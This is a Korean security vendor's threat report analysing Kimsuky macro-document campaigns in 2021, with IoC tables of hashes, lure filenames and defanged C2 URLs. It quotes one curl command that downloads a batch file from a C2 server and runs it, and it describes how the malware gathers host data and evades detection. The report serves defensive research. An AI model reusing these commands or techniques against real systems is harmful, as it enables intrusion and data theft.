보안정보

전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.

2021년 상반기 Kimsuky 공격 동향

2021.09.01

61,535






01. 개요

Kimsuky (또는 Thallium, Black Banshee, Velvet Chollima으로 알려짐)는 2014년 한수원 해킹사고로 인해 널리 알려진 북한 추정 공격그룹이다. 2020년에 미국 CISA, FBI에서 발령한 합동경보에 따르면 Kimsuky는 한국, 일본, 미국의 전문가, 연구소, 정부 기관 등을 대상으로 사회공학, 스피어 피싱, 워터링홀 등의 기법을 활용하여 한반도 핵 정책 제재와 관련된 외교정책, 국가안보 문제 관련 정보 수집을 목적으로 존재 한다. 2021년 3월, 5월에 발생한 한국항공우주산업(KAI) 해킹으로 인해 KF-21 전투기 설계도면을 포함한 다수의 기술정보 유출을 비롯하여 5월에 한국원자력연구원(KAERI) 내부망 무단접속 시도, 7월 서울대학교병원 해킹으로 인한 약 7000여 명의 개인정보가 유출되는 등 Kimsuky는 특정 기관을 대상으로 한 해킹, 정보 수집 및 유출 시도를 지속해서 수행하고 있다.

Kimsuky의 공격방식을 알아보기 위해 2020~2021년을 기준으로 Kimsuky가 공격방식으로 많이 사용한 대표적인 공격 트렌드 5종을 [표 5–1]로 정리하였다. 2020년 말부터 최근까지 다양한 카테고리를 이용한 정보 수집 시도를 확인할 수 있어 최근 사용되는 공격 트렌드 5종을 이용하여 Kimsuky의 공격방식에 대해서 알아보고자 한다. 

구분

기간

공격 카테고리

공격방식

1

202011~ 20213

설문조사

문서 파일 내부의 VBA 코드를 이용하여 PC 정보 수집 후 C2 업로드

2

 

20206 ~ 현재

국제 정세

문서 파일 내부의 VBA 코드에서 Powershell 코드를 사용하여 파일 다운로드 후 PC 정보 수집 C2에 업로드

3

202012~ 현재

바이든 정부 정책, 북한 정세 테마

(가장 많이 사용)

문서 파일 내부의 VBA 코드에서
PC
정보 수집

XML 파일로 저장 후 C2 업로드

4

20216~ 현재

Google 블로그, 회의 및 설문지

1. 특정경로의 설정 파일 (.ini)을 실행하도록 바탕화면 바로가기를 생성

2. 설정파일 실행 시 악성 스크립트가 업로드 된 Google 블로그에 연결 후 다운로드 및 수집된 정보 업로드 시도

5

202012 ~ 현재

테스트를 가장한 미끼 문서

(가장 적게 사용)

한글 문서 실행 시 dll 파일 다운로드 후 VBS 스크립트 실행하며 공격에 사용되는 파일을 OneDrive에서 다운로드 받아 사용


[표 1] 2020 ~ 2021 Kimsuky 공격 트렌드


02. 2021년 상반기 Kimsuky 공격유형 분석

1) VBS 직접 사용

첫 번째 공격방식은 문서 파일 내부에 매크로를 삽입하여 해당 매크로 실행 시 매크로 코드에 의해 공격자가 원하는 공격이 진행되도록 설계되었다. Kimsuky가 해당 방식을 이용하여 공격을 시도한 샘플의 IoC는 [표 2]와 같으며, 사용자 PC의 정보를 획득 후 자신들이 소유한 C2로 전달하는 기능만 존재한다. 

NO

MD5

파일명

생성시간

만든이

마지막으로 수정한 사람

C2

1

d7b717134358bbeefc5796b5912369f0

사례비_지급의뢰서.doc

2021-03-19

09:00:32

Network Group / Naeil_영문시작

hxxp://ftcpark59[.]getenjoyment[.]net/1703/v[.]php

2

6a614ca002c5b3a4d7023faffc0546e1

[설문지] 2021 데이터기반 미래전망 연구 _(평화안보).doc

2021-03-02

09:01:00

Network Group / Network Group

hxxp://hanlight[.]mygamesonline[.]org/2403/v[.]php

3

bce51419fae8acbeff3149ca53f8baad

기획설문.doc

2021-03-02

09:01:00

Network Group / Network Group

hxxp://200[.]200[.]200[.]200/test/v[.]php

4

49a04c85555b35f998b1787b325526e6/

c9f23b6ee1ba97c753892e6c103521d6

Network Group / Naeil_영문시작

hxxp://eucie09111[.]myartsonline[.]com/0502/v[.]php

5

5b2355014f72dc2714dc5a5f04fe9519

확인 불가능

(설문조사 내용)

2021-01-20

06:14:00

Egg / IEUser

hxxp://majar[.]medianewsonline[.]com/0812/1[.]php

6

8ca84c206fe8436dcc92bf6c1f7cf168/

d725efd437d26e01e3b64e722929c01e

바이든 행정부 출범 기획설문.doc

2021-01-18

00:25:14

Egg / smart

7

0d36f4f5a1f7bc7d89fbda02be7c2336

q.doc

2020-10-13

07:30:00

Egg / smart

hxxp://connectter[.]atwebpages[.]com/2612/download[.]php

8

86c462b8ceffbc10018df2c32e024b29/

208a3b4565d3041d09448a23a80edf1c

2020-11:23

02:15:00

USER / Naeil_영문시작

hxxp://eucie09111[.]myartsonline[.]com/0502/v[.]php


[표 2] VBS를 이용한 직접 공격방식의 샘플 IoC


문서 최초 실행 시 데이터 기반 전문가 의견조사 내용의 문서로 확인된다. 이후 문서 상단에 콘텐츠 사용 버튼이 활성화되며 해당 버튼 클릭 시 내장된 매크로가 실행된다.


[그림 1] 문서파일 최초 실행 시 화면


문서 내부의 매크로 내용 확인 시 매크로를 실행한 사용자 PC의 정보를 수집한다. 수집된 정보는 GET 메소드를 이용하며 지정된 C2 주소에 요청하는 “php?=수집된 정보” 형태로 전달된다.


[그림 2] 문서파일 내부 매크로 코드의 일부

NO

변수명

정보

1

w=

하드 코딩된 "chosh3", "caerang", "sakim", "ksskorea

2

x64=

C:\Program Files\ 디렉토리 정보

3

x86=

C:\Program Files (x86)\ 디렉토리 정보

4

r=

최근 사용한 파일 정보

5

msv=

Office 버전 정보

6

un=

사용자 이름

7

os=

시스템 OS 정보

8

sv=

시스템 OS 버전 정보


[표 3] 매크로 코드에서 사용되는 변수 목록


2) VBS에 Powershell 코드를 추가하는 방식

두 번째 공격방식은 첫 번째 공격방식에서 Powershell 명령어을 활용하여 사용자 PC의 정보를 획득 후 자신들이 소유한 C2로 전달하는 기능이 추가된 방식으로 변화하였다.

NO

MD5

파일명

생성시간

만든이

마지막으로 수정한 사람

C2

1

dfbe17d9dfa3f3bb715e1d8348bd1f50

민화협11기 정책위원회 명단 (수정).doc

2021-05-17

06:56:00

defaultUser / Windows 사용자

hxxp://manct[.]atwebpages[.]com/ck/uy[.]txt

2

dc5fa08c7e2bb959042f5572c91ada5e

제헌절 국제학술포럼.doc

2021-05-05

07:35:00

defaultUser / Windows 사용자

hxxp://fabre[.]myartsonline[.]com/ys/ha[.]txt

3

1269e2b00fd323a7748215124cb058cd

2021-05-05

07:36:00

defaultUser / Windows 사용자

hxxp://rukagu[.]mypressonline[.]com/le/yj[.]txt

4

9d3b4e82d2c839ffc2887946fb204615

미국, 한일 분쟁 중재 모색.doc

2021-03-01

00:03:00

defaultUser / Windows 사용자

hxxp://quarez[.]atwebpages[.]com/ny/ui[.]txt

hxxp://quarez[.]atwebpages[.]com/ny/post[.]php

5

5973ba270e9b5ea57c138245ffc39552

사례비 지급의뢰서.doc

2021-03-01

00:03:00

defaultUser / Windows 사용자

hxxp://quarez[.]atwebpages[.]com/ds/le[.]txt

6

af3288ed7853865d562ccd1f48fa4a16

____-___.docm

2021-02-10

02:43:00

TESTER / wang st

hxxp://waels[.]onlinewebshop[.]net/st/wa[.]txt

7

199674e87f437bdbd68884b155346d25

확인 불가능

(매크로 실행 유도 내용)

2020-06-22

02:21:00

user / user

hxxp://pootball[.]medianewsonline[.]com/ro/ki[.]txt


[표 4] VBS에 Powershell 코드를 추가하는 방식의 샘플 IoC


문서 최초 실행 시 문서 내용 확인을 위해 콘텐츠 사용 버튼 클릭을 유도하는 메시지 확인되며 해당 메시지 클릭 시 민화협 제11기 정책위원 내용으로 내용이 바뀌면서 확인할 수 있다. 


[그림 2] 문서파일 최초 실행 시 화면 및 매크로 실행 후 변화된 화면


문서에 내장된 매크로 확인 시 특정 문자열을 공백으로 대체한 후 변수에 저장하는 방식으로 진행되며 문자열 처리 이후 결과값 확인 시 Powershell을 이용하여 외부에서 파일 다운로드를 시도한다.


[그림 3] 매크로 코드 내용의 일부 및 디코딩 결과


다운로드 시도한 파일 확인 시 감염된 사용자 PC의 정보를 수집하여, ‘AppDataRoamingAhnlabAhnlab.hwp’ 파일로 저장한다. 이후 Ahnlab.hwp 파일을 외부 C2로 전송하며 추가로 해당 파일을 PC 시작 시 동작하도록 레지스트리에 등록한다.


[그림 4] 다운로드 받은 txt 파일 내용 중 일부


3) PC 정보 수집 후 .xml 파일로 저장 

세 번째 공격방식은 정보수집의 결과물을 XML(eXtensible Markup Language) 파일로 저장하며 해당 파일 내부에 저장된 C2 주소로 접근하여 XML 파일을 업로드 시도하는 방식으로 변화하였다.

NO

MD5

파일명

생성시간

만든이

마지막으로 수정한 사람

C2

1

04a0505cc45d2dac4be9387768efcb7c

사이버공격 대응 방법 안내.doc

2021-05-19

01:16:00

Administrator / user1

hxxp://yanggucam[.]designsoup[.]co[.]kr/user/views/board/skin/secret/css/list[.]php

2

d3a317dd167cfa77c976fa9c86c24982

2021-05-13

07:56:00

Administrator / Storm

hxxp://samsoding[.]homm7[.]gethompy[.]com/plugins/dropzone/min/css/list[.]php

3

d8e817abd5ad765bf7acec5d672cbb8d

2021-04 KCNA.doc

2021-05-04

06:04:00

Choi Hyun Ah / Storm

hxxp://www[.]mechapia[.]com/_admin/nicerlnm/web/style/list[.]php

4

4886f89546c422f5e04c2da33090a201

0a68d6a3d0aa9c5a3a4485d314ea8372

Q & A.doc

2021-01-07

07:04:00

user / Admin

hxxp://miracle[.]designsoup[.]co[.]kr/user/views/resort/controller/css/update/list[.]php

5

c6437d685f4a489c867b4d2b68f07f1a

normal.x

2020-12-24

02:03:00

User / User

hxxp://cwda[.]co[.]kr/theme/basic/skin/new/basic/update/list[.]php

hxxp://cwda[.]co[.]kr/theme/basic/skin/new/basic/update/Normal[.]dotm

6

ec3f771c71a24c165697e26e136daa4a

2011-03-25

10:01:00

Storm / Storm

hxxp://heritage2020[.]cafe24[.]com/plugin/kcpcert/bin/list[.]php?query=1

7

9ee9dacd6703c74e959a70a18ebb3875

2011-03-30

02:22:00

Storm / Storm

hxxp://www[.]inonix[.]co[.]kr/kor/page/product/_notes/list[.]php

hxxp://www[.]inonix[.]co[.]kr/kor/page/product/_notes/tmp/?q=6

8

36ad6b5775ac550a36f56467051d2c03

확인 불가능

(매크로 실행 유도 내용)

2011-03-25

10:01:00

Storm / Storm

hxxp://beilksa[.]scienceontheweb[.]net/cookie/select/log/list[.]php

hxxp://beilksa[.]scienceontheweb[.]net/cookie/select/log/tmp?q=6


[표 5] 수집한 정보를 xml 파일로 저장하는 방식의 샘플 IoC


문서 최초 실행 시 두 번째 공격방식과 동일한 방식으로 문서 내용 확인을 위해 콘텐츠 사용 버튼 클릭을 유도하는 메시지 확인된다. 콘텐츠 사용 버튼 클릭 시 문서 내용이 사이버공격 대응 방법 안내 문서로 바뀌는 것으로 확인된다.


[그림 5] 콘텐츠 사용 시 확인되는 가짜 문서 내용


문서에 내장된 매크로 확인 시 특정 문자열을 공백으로 대체한 후 변수에 저장하는 방식 및 완성된 문자열을 특정 위치에 추가시키는 행위를 진행하여 동작하며 현재 감염된 PC의 프로세스 정보 및 기본 정보를 수집하여 1589989024.xml 파일로 저장한다.


[그림 6] 매크로 내부에 존재하는 난독화된 VBS 코드


1589989024.xml 파일은 ‘AppDataRoamingMicrosoftTemplates’ 경로에 저장되며 해당 파일 확인 시 프로세스 정보 및 기본 정보가 저장되어 있다. 현재 C2로의 접근이 불가능하여 추가적인 행위 확인은 불가능하다.


[그림 7] 난독화 해제 시 확인되는 C2 주소


4) Google 블로그(Blogger)를 활용한 공격시도

Google이 운영중인 블로그 서비스 Blogger를 이용하여 공격자가 원하는 공격 코드를 Base64로 인코딩한 뒤 게시글로 업로드 한다. 이후 문서 내부의 매크로가 실행되어 이전에 업로드된 게시글의 데이터를 가져오며 디코딩된 코드를 이용하여 사용자 PC의 정보를 탈취하는 전략으로 변화하였다.

NO

MD5

파일명

생성시간

만든이 /

마지막으로 수정한 사람

C2

1

0821884168a644f3c27176a52763acc9

123.doc

2021-03-02

09:01:00

Network Group / Naeil_영문시작

hxxp://wbg0909[.]scienceontheweb[.]net/0412/download[.]php

2

95c92bcfc39ceafc1735f190a575c60c

사례비지급 의뢰서(양식).doc.doc

2021-03-02

09:01:00

Network Group / Naeil_영문시작

hxxps://smyun0272[.]blogspot[.]com/2021/06/dootakim[.]html

hxxp://alyssalove[.]getenjoyment[.]net/0423/v[.]php


[표 6] Google 소유 블로그를 활용하는 방식의 샘플 IoC


문서 최초 실행 시 사례비지급 의뢰서로 위장한 문서로 확인된다. 첫 번째 공격방식과 동일하게 콘텐츠 사용 버튼 클릭을 유도하지 않는 것이 특징이다.


[그림 8] 사례비지급 의뢰서로 위장한 미끼 문서


내부 매크로 코드가 실행될 경우 Base64로 인코딩되어 있는 코드를 디코딩하기 위한 작업을 진행하며 디코딩 완료된 코드를 ‘AppDataRoamingdesktop.ini’에 저장한 이후 해당 파일을 실행시킨다.


[그림 9] Base64 디코딩된 데이터를 포함한 파일 생성 시도


desktop.ini 파일 내부의 VBS 코드는 iexplore.exe 바로가기를 바탕화면에 생성하며 실행 경로를 desktop.ini 경로로 변경, 특정 단축키로 실행할 수 있게 설정한다. PC 사용자가 생성된 바로가기를 실행할 경우 연결된 ini 파일이 실행되며 공격의 지속성을 얻기 위함으로 판단된다.


[그림 10] 지속적인 desktop.ini 실행을 위해 바탕화면 바로가기 생성


desktop.ini 파일 코드에서 추가적으로 Base64로 인코딩된 데이터 확인되며 Blogger 페이지에 접근 시도하는 것으로 확인된다. 페이지에 접근 시 Base64 인코딩된 공격 코드로 의심되는 내용 확인할 수 있다.


[그림 11] Blogger에 업로드 된 공격 코드 확보를 위한 코드



[그림 12] Blogger에 업로드 된 공격 코드의 일부


블로그에서 확보한 데이터 Base64 디코딩 결과 gi.exe 생성 여부를 통한 중복 실행 확인 후 모든 매크로 사용을 위해 VBAWarnings 레지스트리 값을 1로 변경한다.


[그림 13] 중복 실행 방지를 위한 로직 및 특정 레지스트리 값 변경 시도


이후 [표 7]과 같은 데이터를 피해자 PC에서 수집하여 공격자의 C2에 업로드를 시도한다.


[그림 14] 정보 수집 및 C2로 전송 관련 코드


[표 7] 정보 수집에서 사용되는 변수 목록 


5) OneDrive 이용

네 번째 공격방식에서 새롭게 변화한 방식으로 공격 코드를 Microsoft의 클라우드 서비스인 OneDrive에 공격 코드를 업로드한 이후 특정 조건에 부합할 경우 해당 데이터를 다운로드받아 추가적인 공격 시도에 사용된다.

NO

변수명

정보

1

r

최근 실행 파일 목록

2

un

사용자명

3

os

운영체제 정보

4

sv

Running 상태의 서비스 프로세스 목록

5

dnv

.NET 버전정보

6

msv

Office 버전 정보

7

dll

바탕화면 파일 목록

8

tll

작업표시줄에 고정된 목록


[표 8] OneDrive를 활용하는 공격방식의 샘플 IoC


[그림 15] OneDrive를 활용하는 방식의 공격 흐름도 (출처: 360 Security Blog)


악성 문서 내부의 매크로 코드 실행으로 인해 ‘AppDataLocalMicrosoftOneDrive’ 경로에 version.dll 파일을 생성한다. 해당 dll 파일은 내부에 Base64로 인코딩되어있는 데이터를 내장하고 있다.


[그림 16] version.dll 내부의 인코딩된 데이터의 일부


Base64로 인코딩된 데이터 디코딩 결과 !www!과 같은 문자열을 포함하고 있어 정상적으로 동작하지 않는다. 이를 해결하기 위해 문자열 치환을 담당하는 VBS 파일을 ‘AppDataLocalTemp’ 경로에 “문자숫자랜덤4자리.vbs"로 저장한다.


[그림 17] 디코딩 결과


[그림 18] 디코딩 결과에서 특정 문자열 치환을 담당하는 vbs 파일 생성


디코딩 완료된 데이터와 이전에 생성된 VBS 파일을 이용하여 문자열 치환 이후 Onedrive에서 공격 코드 다운로드를 시도한다. 


[그림 19] 디코딩, 치환 최종 완료된 공격 코드 실행 시도


[그림 20] 디코딩, 치환 최종 완료된 공격 코드의 일부


version.dll의 또 다른 특징은 특정 윈도우 클래스를 찾으며 해당 정보 웹 조회 결과 V3 Lite 제품의 클래스 명으로 확인되며 해당 클래스를 찾은 경우 숨김 처리만 하며 강제종료 등의 무력화 시도는 보이지 않았다.

[그림 21] V3 Lite 사용 여부를 확인하는 코드의 일부


OneDrive에 존재하는 공격 코드는 [그림 22]과 같으며 해당 내용을 이전에 생성된 VBS에서 디코딩 가능하다. 디코딩 완료된 코드 실행 시 [표 9]와 같은 순서로 동작한다.


[그림 22] OneDrive에 업로드된 난독화 코드 및 복호화 결과

NO

행위

1

현재 PC의 사용자명을 특정 문자열 (lisa, wmbbr, pl. pelletier)과 비교

1-1

비교 대상과 다른 경우 hxxps://worldinfocontact[.]club/111/mac3[.]php?na=“사용자 이름으로 접속 후

사용자 이름, AppData 경로, 환경변수 등의 수집된 데이터 전송

2

비교 대상과 맞는 경우 AppDataRoaming’ 디렉터리에 sched.his 파일을 만들고 데이터 내용에 111을 작성

4

cmd.exe /c curl -o "%appdata%\aqz.bat" hxxps://worldinfocontact[.]club/111/bill/cow[.]php?op=1drop[.]bat& timeout 5 & "%appdata%\aqz.bat"“ 명령어를 실행하여 C2에서 데이터 다운로드, 파일 생성 및 실행 시도


[표 9] 그림 5-22 코드의 동작 순서


최종적으로 desktop.tmp 파일이 생성되며 내부 VBS 코드는 감염된 PC의 정보 획득 및 유출에 사용된다.


[그림 23] 최종 생성된 파일에서 확인되는 정보 수집 관련 코드


03. 참고자료

[1] https://mp.weixin.qq.com/s/og8mfnqoKZsHlOJdIDKYgQ
[2] https://attack.mitre.org/groups/G0094/